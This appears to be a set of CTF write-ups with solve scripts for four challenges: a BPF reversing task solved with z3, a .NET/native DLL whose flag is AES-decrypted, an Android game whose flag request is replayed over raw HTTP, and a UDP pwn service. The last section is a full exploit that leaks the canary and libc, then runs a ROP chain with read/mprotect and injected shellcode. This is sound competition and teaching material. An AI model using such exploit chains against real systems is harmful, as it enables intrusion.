# RE - BPF
## get code
First we need to get the actual bpf code, for that i think it's easiest to just debug until we get the code, sadly the binary did not want to run normally so i had to coerce it into giving me what i wanted, done with a few gdb commands. These assume the binary is loaded at 0x555555554000 and will just jump into the code responsible to set up the buffer and will then dump the data to stdout One could also dump the data directly into a file using the dump memory command
```
set $rip=0x555555554000+0x160a
set $rsp=$rsp-0x1000
set $rbp=$rsp+0x500
break *0x555555554000+0x3568
c
x/133gx $rsi
```
## disasm code
Use https://manpages.debian.org/bullseye/binutils-bpf/bpf-objdump.1.en.html or something similar to get a disassembly of the code first we set up a stackframe, then we have the same code 4 times to retrieve the data put into the map from the client program. These are stored in variables on the stack `fp-20` to `fp-32`. Then there are four chunks of data manipulation to get variables 36 to 48 which will later then be put into the map again, for the client application to read and compare against the hardcoded values
## solve
To solve it we can just ask z3 to undo the transformation for every 4 int block:
```python
from z3 import *
from pwn import *
def rol(n,a):
return (LShR(n&0xff,8-a)|((n&0xff)<<a))&0xff
e = ELF("./simple")
data = e.read(0x6020, 0xe0)[::4]
flag = b""
while data:
results = data[:4]
s = Solver()
r0 = BitVec("a", 32)
r1 = BitVec("b", 32)
r2 = BitVec("c", 32)
r3 = BitVec("d", 32)
for x in [r0,r1,r2,r3]:
s.add(x >= 0x20)
s.add(x < 0x80)
s.add(((r0 ^ r1) + (r2 & r3)) & 0xff == results[0])
s.add((((r0 - r2)&0xff) ^ ((r2 * r3)&0xff) ^ rol((r0 + r1), 5)) == results[1])
s.add((((r1 * r3)&0xff) ^ ((r1 + r2)&0xff) ^ rol((r0 + r2), 4)) == results[2])
s.add(((r2 ^ r3) + (r0 ^ r1)) & 0xff == results[3])
if s.check() == sat:
print(s.model())
flag += bytes([s.model()[i].as_long() for i in [r0,r1,r2,r3]])
print(flag)
data = data[4:]
```
# RE - NOT S1MPLE
in hindsight i realize that the title is a pun because it's not s1mple but simple because the 1 is replaced with i, anyway solve script:
```python
from pwn import *
a = open("Simple.dll", "rb").read()
# array of 32 bit ints, but all of them are onely a single
part1 = bytearray(a[0x1948:][:26*4:4])
part1[5] += 15
part1[10] -= 10
part1[18] ^= 20
print(part1)
key = (a[0x6b1a:][:0x20*2:2])
iv = (a[0x6b5c:][:0x10*2:2])
part2 = bytearray(a[0x19b0:][:32*4:4])
from Crypto.Cipher import AES
# obfuscated C# IL loads the string, replaces i with 1 before doing the
# AES decryption
iv = iv.replace(b"i", b"1")
print(AES.new(key, AES.MODE_CBC, iv).decrypt(part2))
```
the whole functionality is in the dll, not quite sure what the control flow exactly is but it's a mixed IL/native binary so we end up in the function 0x1d10 (x64 code) which does the part1 stuff and also calls the aes decryption function, that one is weird because there exist two implementations(?) but we take the one which ILspy does not see


# RE - Happy Flappy
android was just a native library with function get_flag; it has some obfuscated strings which when decoded give you all you need for a http request, except the last part which is the md5 of a signature, for that one you can just launch the game and look at the logfile, it should be in there (it's the last part of the content)
> frida hook to get the correct md5/base64, patch to make it call getFlag() then Wireshark to capture the request it makes to 159.65.2.24. Replace the wrong MD5 -> Flag
```python
from pwn import *
r = remote("159.65.2.24",20013)
content = b"s0m3Th1n9=aXB685gHiT1B3h4SVhEi95fynG4fnSqAcxbBlpTQuW4Evr7PWJKvJw=="
r.sendline(b"POST /data HTTP/1.1\r")
r.sendline(b"Host: 159.65.2.24\r")
r.sendline(b"Content-Type: application/x-www-form-urlencoded\r")
r.sendline(b"Content-Length: " + str(len(content)).encode() + b"\r")
r.sendline(b"Connection: close\r")
r.sendline(b"\r")
r.sendline(content)
r.interactive()
```
# pwn - serendipity
my solution for `serendipity`
```python
from pwn import *
AUTH = 0x201
DARK = 0x301
io = remote("localhost", 9981, typ="udp")
# io = remote("157.245.147.89", 23913, typ="udp")
libc = ELF("./libc.so.6")
context.binary = ELF("./serendipity")
def add_session(io, op: int, size):
io.send(
(p32(0x70303070)+p32(op) +
p32(size)+p16(16)+b"XXX\0")
)
io.recvuntil(b'auth successfully\n', timeout=1)
return u64(io.recv(8))
magik0 = add_session(io, AUTH, 0x30)
x = p64(magik0)+p32(0)+p16(0x30b) + \
(b"moonlit_embrace\0").ljust(0x30b, b'A')
io.send(x)
io.recv(0x109)
canary = u64(b"\0"+io.recv(7))
log.success(f"canary: {hex(canary)}")
x = p64(magik0)+p32(0)+p16(0x30a+8+8) + \
(b"moonlit_embrace\0").ljust(0x30a+8+8, b'A')
io.send(x)
io.recv(0x118)
libc.address = u64(io.recv(6)+b"\0\0") - 0x6cac3-0x28000
log.success(f"libc @ {hex(libc.address)}")
rdi_ret = libc.address+0x000000000002a3e5
rsi_ret = libc.address+0x000000000002be51
rdx_ret = libc.address+0x00000000000796a2
shellcode = asm(f"""
push rax
push rax
lea rbx, [rsp+0x28]
mov rbx, [rbx]
lea rbx, [rbx+0xa0]
mov rbx, [rbx]
sub rbx, 0x2a49
add rbx, 0x4000
mov rdi, rbx
mov rsi, 0x3000
mov rdx, 7
mov eax,0x9
add eax,1
syscall
add rbx, 0x2c
mov rcx, 0x2f2f2f2f2f2f2f2f
mov qword ptr [rbx],rcx
jmp $
""")
start_ = (libc.sym.__malloc_hook+8+4+2) & ~0xfff
rop = (
p64(rdi_ret)+p64(3) +
p64(rsi_ret)+p64(start_) +
p64(rdx_ret)+p64(0x100) +
p64(libc.sym.read) +
p64(rdi_ret)+p64(start_) +
p64(rsi_ret)+p64(0x3000) +
p64(rdx_ret)+p64(7) +
p64(libc.sym.mprotect) +
p64((start_+8+4+2))
)
x = p64(magik0)+p32(0)+p16(0x30a+8+8+len(rop)) + \
(b"..\0").ljust(0x30a, b'C')+p64(canary)+p64(0)+rop
io.send(x)
x = p64(magik0)+p32(0)+p16(len(shellcode)+0x30) + \
shellcode
io.send(x)
print(io.recv())
magik1 = add_session(io, AUTH, 0x30)
x = p64(magik1)+p32(0)+p16(0x10) + \
b"./flag\0"
io.send(x)
io.interactive()
```